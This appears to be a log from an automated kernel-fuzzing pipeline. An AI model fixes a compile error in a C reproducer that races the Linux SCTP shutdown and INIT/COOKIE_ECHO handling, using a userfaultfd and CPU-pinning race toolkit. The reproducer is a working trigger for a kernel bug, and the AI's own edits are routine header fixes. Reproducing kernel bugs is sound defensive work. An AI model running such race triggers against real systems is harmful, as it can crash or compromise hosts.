    }

    int accepted_fd = accept(server_fd, NULL, NULL);
    if (accepted_fd < 0) {
        printf("[-] accept: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    if (!large_buf) {
        printf("[-] malloc failed\n");
        exit(1);
    }
    memset(large_buf, 'A', 1024 * 1024);
    ssize_t sent = send(client_fd, large_buf, 1024 * 1024, 0);
    if (sent < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {
        printf("[-] send: %s\n", strerror(errno));
        exit(1);
    }

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    if (shutdown(accepted_fd, SHUT_WR) < 0) {
        printf("[-] shutdown: %s\n", strerror(errno));
        exit(1);
    }

    printf("[+] Setup complete, starting race threads...\n");

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    printf("[+] Done.\n");
    return 0;
}

Compiler Error:
failed to build program:
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <errno.h>

// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }


int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) {
            usleep(10000);
            continue;
        }
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        connect(fd, (struct sockaddr *)&addr, sizeof(addr));
        
        /* 
         * We must keep the fd open long enough for the INIT_ACK to be received
         * and the COOKIE_ECHO to be sent.
         * We leak the fd, but to avoid hitting the limit too fast, we sleep a bit.
         */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    if (setrlimit(RLIMIT_NOFILE, &rl) < 0) {
        printf("[-] setrlimit: %s\n", strerror(errno));
    }

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket server: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set RTO to 10ms to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Prevent association from being aborted due to max retransmissions */
    struct sctp_assocparams assocparams;
    memset(&assocparams, 0, sizeof(assocparams));
    assocparams.sasoc_asocmaxrxt = 65535;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_ASSOCINFO, &assocparams, sizeof(assocparams)) < 0) {
        printf("[-] setsockopt SCTP_ASSOCINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    if (setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
        printf("[-] setsockopt SO_RCVBUF: %s\n", strerror(errno));
        exit(1);
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind server: %s\n", strerror(errno));
        exit(1);
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        exit(1);
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket client: %s\n", strerror(errno));
        exit(1);
    }
    int opt = 1;
    if (setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
        printf("[-] setsockopt SO_REUSEPORT: %s\n", strerror(errno));
        exit(1);
    }
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if (bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr)) < 0) {
        printf("[-] bind client: %s\n", strerror(errno));
        exit(1);
    }

    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        exit(1);
    }

    int accepted_fd = accept(server_fd, NULL, NULL);
    if (accepted_fd < 0) {
        printf("[-] accept: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    if (!large_buf) {
        printf("[-] malloc failed\n");
        exit(1);
    }
    memset(large_buf, 'A', 1024 * 1024);
    ssize_t sent = send(client_fd, large_buf, 1024 * 1024, 0);
    if (sent < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {
        printf("[-] send: %s\n", strerror(errno));
        exit(1);
    }

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    if (shutdown(accepted_fd, SHUT_WR) < 0) {
        printf("[-] shutdown: %s\n", strerror(errno));
        exit(1);
    }

    printf("[+] Setup complete, starting race threads...\n");

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    printf("[+] Done.\n");
    return 0;
}
<stdin>:9:10: fatal error: netinet/sctp.h: No such file or directory
compilation terminated.

compiler invocation: gcc [-o /tmp/syz-executor250191574 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]

#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <errno.h>

#ifndef SOL_SCTP
#define SOL_SCTP 132
#endif

#include "race_toolkit.h"

int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) {
            usleep(10000);
            continue;
        }
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        connect(fd, (struct sockaddr *)&addr, sizeof(addr));
        
        /* 
         * We must keep the fd open long enough for the INIT_ACK to be received
         * and the COOKIE_ECHO to be sent.
         * We leak the fd, but to avoid hitting the limit too fast, we sleep a bit.
         */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    if (setrlimit(RLIMIT_NOFILE, &rl) < 0) {
        printf("[-] setrlimit: %s\n", strerror(errno));
    }

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket server: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set RTO to 10ms to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Prevent association from being aborted due to max retransmissions */
    struct sctp_assocparams assocparams;
    memset(&assocparams, 0, sizeof(assocparams));
    assocparams.sasoc_asocmaxrxt = 65535;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_ASSOCINFO, &assocparams, sizeof(assocparams)) < 0) {
        printf("[-] setsockopt SCTP_ASSOCINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    if (setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
        printf("[-] setsockopt SO_RCVBUF: %s\n", strerror(errno));
        exit(1);
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind server: %s\n", strerror(errno));
        exit(1);
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        exit(1);
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket client: %s\n", strerror(errno));
        exit(1);
    }
    int opt = 1;
    if (setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
        printf("[-] setsockopt SO_REUSEPORT: %s\n", strerror(errno));
        exit(1);
    }
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if (bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr)) < 0) {
        printf("[-] bind client: %s\n", strerror(errno));
        exit(1);
    }

    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        exit(1);
    }

    int accepted_fd = accept(server_fd, NULL, NULL);
    if (accepted_fd < 0) {
        printf("[-] accept: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    if (!large_buf) {
        printf("[-] malloc failed\n");
        exit(1);
    }
    memset(large_buf, 'A', 1024 * 1024);
    ssize_t sent = send(client_fd, large_buf, 1024 * 1024, 0);
    if (sent < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {
        printf("[-] send: %s\n", strerror(errno));
        exit(1);
    }

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    if (shutdown(accepted_fd, SHUT_WR) < 0) {
        printf("[-] shutdown: %s\n", strerror(errno));
        exit(1);
    }

    printf("[+] Setup complete, starting race threads...\n");

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    printf("[+] Done.\n");
    return 0;
}

gemini-3.1-pro-preview

							input: 8312
							output: 39
							thoughts: 252
						

**My Thought Process Regarding the SCTP Header Compilation Error**

Ah, I've hit a snag here, a compilation error to be precise: `<stdin>:9:10: fatal error: netinet/sctp.h: No such file or directory`. This immediately tells me the system I'm compiling on doesn't have the standard Netinet SCTP headers readily available. My program, as it stands, is trying to include `<netinet/sctp.h>`, and it's clearly not there – the most probable culprit is a missing development package, likely `libsctp-dev`.

My immediate thought is to find an alternative. I can't just leave the include as is. The standard approach here would be to either:

1.  **Include necessary definitions directly:** This is a less elegant solution, but sometimes necessary when external dependencies are problematic. It involves manually copying the required definitions into my source file.
2.  **Find an alternative header:** This is generally the preferred path. I recall that Linux often provides SCTP definitions under the `linux/` hierarchy. So, my next thought is to explore if `<linux/sctp.h>` might be available and contain the necessary elements.

To decide on the best course of action, I need to understand *exactly* what my code is using from `<netinet/sctp.h>`. I'll need to meticulously go through the code and identify these dependencies. Looking at the context, I see it's referencing:

*   `SCTP_RTOINFO`
*   `SCTP_ASSOCINFO`
*   `struct sctp_rtoinfo`
*   `struct sctp_assocparams`

So, the critical question becomes: Does `<linux/sctp.h>` provide these specific definitions? This is where my next logical step comes in. I can leverage a tool like `grepper` (or a similar command-line search utility) to efficiently check the contents of the Linux-specific SCTP header file. I'll specifically search within `include/uapi/linux/sctp.h` for `sctp_rtoinfo` to see if it exists there, and by extension, I'll be looking for `SCTP_RTOINFO`, `SCTP_ASSOCINFO`, and `struct sctp_assocparams` as well. If these are present, then replacing `<netinet/sctp.h>` with `<linux/sctp.h>` should be a straightforward and effective fix. If not, I'll have to re-evaluate and potentially resort to defining them myself.

map[Expression:sctp_rtoinfo PathPrefix:include/uapi/linux/sctp.h]

map[Output:include/uapi/linux/sctp.h=702=typedef enum sctp_sn_error {
--
include/uapi/linux/sctp.h-718- */
include/uapi/linux/sctp.h:719:struct sctp_rtoinfo {
include/uapi/linux/sctp.h-720-	sctp_assoc_t	srto_assoc_id;
]

gemini-3.1-pro-preview

							input: 8709
							output: 77
							thoughts: 57
						

**My Thought Process**

Alright, so I'm trying to figure out where `struct sctp_rtoinfo` lives in the kernel source. My initial thought, based on a quick mental scan or perhaps prior experience, is that it's likely in a header file related to SCTP. The most obvious candidate is `<linux/sctp.h>`, so that's my first guess.

Now, once I've confirmed that `struct sctp_rtoinfo` *is* indeed in `<linux/sctp.h>` (which, yes, it is), my next step is to explore its context and related structures. I'm specifically interested in how retransmission timeout information is handled within SCTP, and this structure is clearly central to that.

Therefore, I'm going to dig into `SCTP_RTOINFO`. This looks like it might be a constant or a symbolic name used in conjunction with `struct sctp_rtoinfo`, perhaps for `getsockopt` or `setsockopt` calls. It's essential to understand how userspace or other kernel components would *interact* with this RTO information.

Alongside `SCTP_RTOINFO`, I also want to examine `SCTP_ASSOCINFO`. This suggests to me that RTO information is closely tied to the overall association parameters of an SCTP connection. It's logical to assume that retransmission timeouts would be part of the broader configuration and status of an SCTP association.

Finally, to fully grasp the data associated with association information, I need to look at `struct sctp_assocparams`. This structure is the most likely candidate for holding the actual data that `SCTP_ASSOCINFO` might refer to, and it will probably contain fields related to RTOs as well as other association-level settings. My aim is to understand the interdependencies between these structures and constants to get a complete picture of how SCTP manages its retransmission timeouts.

map[Expression:SCTP_RTOINFO PathPrefix:include/uapi/linux/sctp.h]

map[Output:include/uapi/linux/sctp.h=60=typedef __s32 sctp_assoc_t;
--
include/uapi/linux/sctp.h-68- */
include/uapi/linux/sctp.h:69:#define SCTP_RTOINFO	0
include/uapi/linux/sctp.h-70-#define SCTP_ASSOCINFO  1
--
include/uapi/linux/sctp.h=702=typedef enum sctp_sn_error {
--
include/uapi/linux/sctp.h-712-/*
include/uapi/linux/sctp.h:713: * 7.1.1 Retransmission Timeout Parameters (SCTP_RTOINFO)
include/uapi/linux/sctp.h-714- *
]

map[Expression:sctp_assocparams PathPrefix:include/uapi/linux/sctp.h]

map[Output:include/uapi/linux/sctp.h=719=struct sctp_rtoinfo {
--
include/uapi/linux/sctp.h-731- */
include/uapi/linux/sctp.h:732:struct sctp_assocparams {
include/uapi/linux/sctp.h-733-	sctp_assoc_t	sasoc_assoc_id;
]

gemini-3.1-pro-preview

							input: 9153
							output: 37
							thoughts: 66
						

**The Path to SCTP Compilation Success**

Ah, excellent! It appears the path to resolving this pesky compilation error is becoming clear. My immediate thought is that the issue stems from the inclusion of the SCTP header file. I'm fairly confident that simply swapping out `#include <netinet/sctp.h>` for `#include <linux/sctp.h>` will do the trick.

However, a good engineer never rests on their laurels. As this thought solidifies, another consideration immediately surfaces: the `SOL_SCTP` constant. This is a critical piece of the SCTP puzzle, and I need to be absolutely certain it's available in the `<linux/sctp.h>` header before I commit to this change. My next step, therefore, will be to verify its presence within that specific header file.

log-in to see details

map[Expression:SOL_SCTP PathPrefix:include/uapi/linux/sctp.h]

map[Output:]

gemini-3.1-pro-preview

							input: 9254
							output: 27
							thoughts: 25
						

**My Search for SOL_SCTP**

I'm trying to work with SCTP sockets, and I'm looking for the definition of `SOL_SCTP`. My immediate instinct is to check the standard Linux header for socket options, which is `<linux/sctp.h>`. However, I've noticed that `SOL_SCTP` isn't present there. This is a bit of a puzzle. I know that `SOL_IP` and `SOL_TCP` are typically defined in `<linux/in.h>` or `<netinet/in.h>`, but `SOL_SCTP` seems to be in a different location. I need to figure out where this particular symbol is actually defined so I can correctly set socket options for SCTP. My next step will be to search through other relevant kernel headers or potentially look at the SCTP documentation or source code to pinpoint its definition.

map[Expression:SOL_SCTP PathPrefix:include/]

map[Output:include/linux/socket.h=197=struct ucred {
--
include/linux/socket.h-367-#define SOL_ICMPV6	58
include/linux/socket.h:368:#define SOL_SCTP	132
include/linux/socket.h-369-#define SOL_UDPLITE	136     /* UDP-Lite (RFC 3828) */
]

gemini-3.1-pro-preview

							input: 9404
							output: 50
							thoughts: 1370
						

**My Thought Process on Resolving the SCTP Header Issue**

Right, so I've been looking at this C code, and the immediate problem jumps out at me: the inclusion of `netinet/sctp.h`. I know this header isn't standard across all Linux systems, and it's often a source of build failures. My first instinct is to check where `SOL_SCTP` is actually defined.

I recall that `SOL_SCTP` is fundamentally tied to the SCTP protocol level, and its value is typically the same as `IPPROTO_SCTP`. I know `IPPROTO_SCTP` itself is defined in `<netinet/in.h>`, which is a much more common and standard header. So, my initial thought is to see if I can just rely on `IPPROTO_SCTP`.

However, the code specifically uses `SOL_SCTP`. I need to be sure about its definition. I know that sometimes, especially in kernel-related headers, you might find things defined in `<linux/socket.h>` or `<linux/sctp.h>`. The problem is that including kernel-specific headers directly in user-space code can be tricky and lead to conflicts, especially with standard C library headers. I’m trying to avoid potential clashes between `<linux/socket.h>` and `<sys/socket.h>`, which is a common pitfall.

My primary goal is to make this code compile reliably. So, if `SOL_SCTP` isn't universally defined through standard headers, I need a fallback. The value 132 is commonly associated with `SOL_SCTP` (as it's `IPPROTO_SCTP`), so defining it myself if it's not present is a robust solution. This way, I'm not dependent on a specific kernel header being available or on the exact version of `netinet/sctp.h`.

Let's re-evaluate the include path. I know `IPPROTO_SCTP` is usually in `<netinet/in.h>`. So, the initial problem is the missing `netinet/sctp.h`. I can solve this by:

1.  Replacing `#include <netinet/sctp.h>` with `#include <linux/sctp.h>`.
2.  Then, to ensure `SOL_SCTP` is always available, I'll add a conditional define: `#ifndef SOL_SCTP \n #define SOL_SCTP 132 \n #endif`. This guarantees that `SOL_SCTP` will be defined to its common value even if the header itself doesn't provide it.

I’ll quickly check if `<linux/sctp.h>` generally plays well with `<netinet/in.h>`. Yes, in most modern Linux environments, these should coexist without issues.

Now, I need to make sure this change doesn't break anything else. I'll review the entire set of includes and the usage of SCTP-specific structures. Looking at the code provided, I see `struct sctp_rtoinfo` and `struct sctp_assocparams` being used. These structures are defined in `<linux/sctp.h>`, so using that header directly makes perfect sense. The fields I see being initialized (`srto_initial`, `srto_min`, `srto_max` for `rtoinfo`, and `sasoc_asocmaxrxt` for `assocparams`) all align with the definitions in `<linux/sctp.h>`. So, that part is fine.

Finally, I see this `#include "race_toolkit.h"` and the compiler error indicating that `race_toolkit.h`'s content was somehow embedded *inline* within the compilation unit shown in the error. This is a bit unusual, but it suggests that the testing environment or build process might be pre-processing or concatenating headers. The prompt says to output a C program that can be executed directly. The safest bet, given this context, is to include the necessary SCTP headers and the conditional `SOL_SCTP` definition, and crucially, to *keep* `#include "race_toolkit.h"` as it was in the original. My modification addresses the `netinet/sctp.h` issue, and whatever mechanism is handling `race_toolkit.h` should continue to work as it did before. I don't need to inline `race_toolkit.h`'s content myself; the environment will likely do that. Therefore, I will just make the fix for the SCTP headers and leave the rest of the includes as they were in the user's original program.

Here's the resulting C program:

```c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <errno.h>

#ifndef SOL_SCTP
#define SOL_SCTP 132
#endif

#include "race_toolkit.h"
```

map[Question:Does `<linux/sctp.h>` conflict with `<netinet/in.h>` or `<sys/socket.h>` in any way that would prevent compilation?]

map[Answer:**No**, `<linux/sctp.h>` does **not** conflict with `<netinet/in.h>` or `<sys/socket.h>`. They can be included and compiled together in user-space programs without redefinition or symbol collision errors.

---

### Detailed Analysis

#### 1. No Symbol or Struct Collisions
* **No overlapping definitions**: `<sys/socket.h>` defines standard POSIX socket APIs, types (`struct sockaddr`, `struct sockaddr_storage`, `socklen_t`), and message flags (`MSG_*`). `<netinet/in.h>` defines IPv4/IPv6 address structures (`struct in_addr`, `struct sockaddr_in`), IP protocols (`IPPROTO_SCTP`), and byte-order conversions. Neither header defines the SCTP structures, socket options (`SCTP_NODELAY`, `SCTP_INITMSG`, etc.), or notification structs found in `<linux/sctp.h>`.
* **No conflicting header inclusions**: Unlike `<linux/in.h>` or `<linux/in6.h>` (which define duplicate structs like `in_addr` and require coordination via `<linux/libc-compat.h>`), `<linux/sctp.h>` only includes `<linux/types.h>` and `<linux/socket.h>`. `<linux/socket.h>` only defines `struct __kernel_sockaddr_storage` and kernel-internal flags, avoiding conflicts with `<sys/socket.h>`.
* **Protocol constant**: While `<netinet/in.h>` defines `IPPROTO_SCTP` (value 132), `<linux/sctp.h>` does not `#define` `IPPROTO_SCTP` (it only mentions it inside comments).

---

#### 2. Dependencies and Inclusion Order
Rather than conflicting, `<linux/sctp.h>` actually **relies on** definitions from `<sys/socket.h>` and standard integer types (`<stdint.h>` / `<netinet/in.h>`):
* **`struct sockaddr_storage`**: `<linux/sctp.h>` embeds `struct sockaddr_storage` directly into 여러 user-facing structs (e.g., `struct sctp_paddr_change`, `struct sctp_paddrparams`, `struct sctp_paddrinfo`, `struct sctp_info`). In user space, `<sys/socket.h>` provides this definition.
* **Standard integer types**: `<linux/sctp.h>` uses C99 types (`uint32_t`, `uint16_t`, `uint8_t`) in structures such as `struct sctp_sack_info`, `struct sctp_assoc_value`, and `struct sctp_reset_streams`.
* **`MSG_FIN`**: In `enum sctp_sinfo_flags`, `<linux/sctp.h>` defines `SCTP_EOF = MSG_FIN`. The constant `MSG_FIN` is provided by `<sys/socket.h>`.

Because `<linux/sctp.h>` depends on these definitions, **`<sys/socket.h>` and `<netinet/in.h>` should be included *before* `<linux/sctp.h>`**:

```c
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/sctp.h>
```

---

#### 3. Note on `<netinet/sctp.h>`
Header conflicts in SCTP user-space development typically happen when mixing `<linux/sctp.h>` (the kernel UAPI header) with `<netinet/sctp.h>` (provided by `lksctp-tools` / `libsctp-dev`). Both define the same SCTP types and constants. However, standard `<netinet/in.h>` and `<sys/socket.h>` do not conflict with `<linux/sctp.h>`.]

core

map[Answer:**No**, `<linux/sctp.h>` does **not** conflict with `<netinet/in.h>` or `<sys/socket.h>`. They can be included and compiled together in user-space programs without redefinition or symbol collision errors.

---

